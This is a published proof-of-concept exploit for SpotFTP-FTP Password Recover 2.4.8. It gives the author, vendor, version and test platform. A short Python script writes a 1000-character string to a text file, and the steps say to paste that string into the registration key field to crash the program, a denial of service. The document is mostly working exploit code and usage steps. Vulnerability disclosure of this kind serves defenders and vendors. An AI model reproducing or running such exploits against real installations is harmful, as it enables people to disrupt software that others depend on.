SpotFTP-FTP Password Recover 2.4.8 - Denial of Service Exploit

# Exploit Title: SpotFTP-FTP Password Recover 2.4.8 - Denial of Service (PoC)
# Exploit Author: Ismael Nava
# Vendor Homepage: http://www.nsauditor.com/
# Software Link: http://www.nsauditor.com/spotftp.html
# Version: 2.4.8
# Tested on: Windows 10 Home x64
# CVE : n/a

#STEPS
# Open the program SpotFTP-FTP Password Recover
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "RandomLetter.txt"
# Click in the  Enter Registration Code
# In the field Key put the content of the file "RandomLetter.txt"
# End :)

buffer = 'Z' * 1000

try: 
    file = open("RandomLetter.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")